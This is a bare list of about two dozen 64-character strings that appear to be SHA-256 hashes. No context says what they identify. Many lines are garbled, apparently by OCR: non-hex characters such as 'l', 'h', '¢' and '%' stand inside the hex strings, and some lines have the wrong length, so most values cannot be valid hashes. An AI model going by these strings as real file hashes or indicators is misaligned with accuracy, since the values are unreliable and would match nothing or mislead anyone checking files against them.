b0a6863a5870761800d581ba37059d11ladflfed4b467b82b2cc04ce206c034167
c14189fad2601440a5004a940585d0c8217e4cc84bc23576d818cf05920b2dc2
c3dd397f53¢c5646343c5532d3aa3cbh51d2241361d345344dbd1led33380e87660
cb2768d055dc118a570bf47bebef02b34e0eah9258144b9dbe20628b61ff40b5
d255612ale7b5¢cf10d62b0ad41b954e5d6d8aab8148d2163665fd9debc5873ced
d399a5a37988ce529d69e298da618040d96b0dd70f37ad75f0e69f5b2ca3e6f5
dc9cb38c76168ececd67df7d3e25f087b2155ccc5bd83a693f02e992ab733ba9
dd7bb15bf75225e6accaa202h9cc260c6afdl13b932941b4aa71b628738722b1
ebc3ab97hb983b151¢c50698c7ea700a2c83c887c08eb443d72e3ad2253de61a83
f384b2bfa91b3f787a5e0be823d545529ach943d9a067465281cc8b6fch99b09
f48c5718ch3f83fdbbc05c6a2a4a7187b3b7388a4635eal8d3d54420c7f0ffe2
f852f7610b2d5df51457a9e39b84dd9fcf969fb72bfh5ae858060053899bal87
f85f54d443bd0d1b2d000b9e6alc0398319bb48f0cl6ebfd3645c5¢ch9allbe50
f8e3815ce5d07a0af454626797b4082ced4d4ad314338c578af55343300a9%9acc4
f8f686139423618a90962albe7f86al02e4l1f71lea8abe6417be5dcc98e4341a8
11ddfdf2f102cb1518c0dc8d9021d8cl6c9da3aelb99ff3abc77467e7709ef23
a3a8dedf82741al1997bl7a44fbble5712ba3a5db11146519cf39281def9329a7
dcce258cc818febe2b888c8eeed42aa95393b2fb411f2406330840ab8ad5¢7d50
0c080548el5e7f377baed2a550d48a555e6150d969f7f4b8244c3b3a50ath858
78fafeb22bf31de02a4b56114e86dcc3394e382658a5¢95b1a302d3d8794718d
a66f3a9ddf9343aeed40276clabfc485f089050074a03801cd9al6787a39c6bf
0097d59dc02cbacl4df25ef05fc6d75f835d1db68f760d71fa4a0a57d9960606
0340043481091d92dcfbh2c498aad3c0afca2fd208ef896f65af790cc147f8891
15ec35c9ad5¢c1f5c0052c043dd16201044bffdd9c6e797aa4fh9e2a9f72af65d
1beb8278ca333127h9d16d08bfe2a615d266b20b5c92c228564ddbhfbe691602a
lde3e84cblbl2cfc5c2d57a6f87eaf91584e24a725b04d72¢cfc402008a33482d
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